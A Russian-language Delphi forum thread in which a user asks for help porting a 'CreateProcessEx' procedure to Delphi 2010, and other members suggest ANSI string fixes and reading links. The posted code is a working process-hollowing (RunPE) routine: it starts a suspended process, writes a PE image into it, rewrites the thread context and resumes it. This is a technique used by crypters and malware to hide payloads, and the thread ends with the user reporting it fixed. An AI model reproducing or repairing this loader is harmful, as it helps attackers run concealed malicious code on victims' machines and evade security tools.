Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 04.02.2011, 13:01   #1
Dan4ik95
 
Регистрация: 01.01.2010
Сообщений: 7
Печаль CrеаtеPrосеss и Delphi2010

Здравстуйте! обычно работаю delphi 7 , но мне потребывалось переписать на Delphi 2010. Столкнулся с такой проблемой не работает процедура.
Я поменял CreateProcess на CreateProcessA программа компилируется но процедура не выполняется.Oбьясните как переделать эту процедуру на Delphi2010.
Код:
procedure CreateProcessEx(FileMemory: pointer);
var
BaseAddress, Bytes, HeaderSize, InjectSize, SectionLoop, SectionSize: dword;
Context: TContext;
FileData: pointer;
ImageNtHeaders: PImageNtHeaders;
InjectMemory: pointer;
ProcInfo: TProcessInformation;
PSections: ^TSections;
StartInfo: TStartupInfoA;

begin
ImageNtHeaders := pointer(dword(dword(FileMemory)) + dword(PImageDosHeader(FileMemory)._lfanew));
InjectSize := ImageSize(FileMemory);
GetMem(InjectMemory, InjectSize);
try
FileData := InjectMemory;
HeaderSize := ImageNtHeaders.OptionalHeader.SizeOfHeaders;
PSections := pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOptionalHeader);
for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
begin
if PSections[SectionLoop].PointerToRawData < HeaderSize then HeaderSize := PSections[SectionLoop].PointerToRawData;
end;
CopyMemory(FileData, FileMemory, HeaderSize);
FileData := pointer(dword(FileData) + GetAlignedSize(ImageNtHeaders.OptionalHeader.SizeOfHeaders, ImageNtHeaders.OptionalHeader.SectionAlignment));
for SectionLoop := 0 to ImageNtHeaders.FileHeader.NumberOfSections - 1 do
begin
if PSections[SectionLoop].SizeOfRawData > 0 then
begin
SectionSize := PSections[SectionLoop].SizeOfRawData;
if SectionSize > PSections[SectionLoop].Misc.VirtualSize then SectionSize := PSections[SectionLoop].Misc.VirtualSize;
CopyMemory(FileData, pointer(dword(FileMemory) + PSections[SectionLoop].PointerToRawData), SectionSize);
FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
end
else
begin
if PSections[SectionLoop].Misc.VirtualSize <> 0 then FileData := pointer(dword(FileData) + GetAlignedSize(PSections[SectionLoop].Misc.VirtualSize, ImageNtHeaders.OptionalHeader.SectionAlignment));
end;
end;
ZeroMemory(@StartInfo, SizeOf(StartupInfo));
ZeroMemory(@Context, SizeOf(TContext));
CreateProcessA(nil, PansiChar( ParamStr(0)), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
Context.ContextFlags := CONTEXT_FULL;
GetThreadContext(ProcInfo.hThread, Context);
ReadProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @BaseAddress, 4, Bytes);
VirtualAllocEx(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectSize, MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(ProcInfo.hProcess, pointer(ImageNtHeaders.OptionalHeader.ImageBase), InjectMemory, InjectSize, Bytes);
WriteProcessMemory(ProcInfo.hProcess, pointer(Context.Ebx + 8), @ImageNtHeaders.OptionalHeader.ImageBase, 4, Bytes);
Context.Eax := ImageNtHeaders.OptionalHeader.ImageBase + ImageNtHeaders.OptionalHeader.AddressOfEntryPoint;
SetThreadContext(ProcInfo.hThread, Context);
ResumeThread(ProcInfo.hThread);
finally
FreeMemory(InjectMemory);
end;
end;
Dan4ik95 вне форума Ответить с цитированием
Старый 04.02.2011, 13:31   #2
veniside
Старожил
 
Регистрация: 03.01.2011
Сообщений: 2,508
По умолчанию

как минимум

Код:
CreateProcessA(nil, PansiChar(AnsiString( ParamStr(0)) ), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
"Когда приходит положенное время, человек перестаёт играть в пинбол. Только и всего."
veniside вне форума Ответить с цитированием
Старый 04.02.2011, 16:39   #3
Dan4ik95
 
Регистрация: 01.01.2010
Сообщений: 7
Печаль

Цитата:
Сообщение от veniside Посмотреть сообщение
как минимум

Код:
CreateProcessA(nil, PansiChar(AnsiString( ParamStr(0)) ), nil, nil, False, CREATE_SUSPENDED, nil, nil, StartInfo, ProcInfo);
Результат тот же =(
Dan4ik95 вне форума Ответить с цитированием
Старый 04.02.2011, 16:54   #4
_Engine_
Форумчанин
 
Регистрация: 29.06.2008
Сообщений: 603
По умолчанию

Может это или это поможет?

Последний раз редактировалось _Engine_; 04.02.2011 в 16:57.
_Engine_ вне форума Ответить с цитированием
Старый 04.02.2011, 16:58   #5
veniside
Старожил
 
Регистрация: 03.01.2011
Сообщений: 2,508
По умолчанию

> процедура не выполняется

что, процессор останавливается и не хочет выполнять ваш код?

Любая из вызываемых вами функций API может вернуться с кодом ошибки.
Будем отлаживать или продолжим гадать по звёздам?
"Когда приходит положенное время, человек перестаёт играть в пинбол. Только и всего."
veniside вне форума Ответить с цитированием
Старый 04.02.2011, 19:52   #6
GunSmoker
Старожил
 
Регистрация: 13.08.2009
Сообщений: 2,581
По умолчанию

Цитата:
pointer(pchar(@(ImageNtHeaders.OptionalHeader)) + ImageNtHeaders.FileHeader.SizeOfOpt ionalHeader);
Читать:
http://www.transl-gunsmoker.ru/2009/...ars.html#d2009
http://www.transl-gunsmoker.ru/2009/...tml#arithmetic
Опытный программист на C++ легко решает любые не существующие в Паскале проблемы.
GunSmoker вне форума Ответить с цитированием
Старый 05.02.2011, 04:01   #7
Dan4ik95
 
Регистрация: 01.01.2010
Сообщений: 7
По умолчанию

Спасибо большое всем.Разобрался. GunSmoker спасибо тебе,отличный блог.

Pchar поменял везде на PansiChar.
Dan4ik95 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Delphi2010 tcpServer/tcpClient потери сообщений при передаче loran Работа с сетью в Delphi 8 02.02.2011 12:00
Delphi2010 + Windows7 Кронос Помощь студентам 0 23.12.2010 01:03
как установить Delphi2010? DarkAngelOfLight Софт 12 18.09.2010 17:36
Diskid32 перевод на delphi2010 Kolik317 Общие вопросы Delphi 0 12.09.2010 15:59
Как запустить Delphi2010-программу(exe-шник) на другом компьютере belartvlad29 БД в Delphi 4 13.07.2010 13:01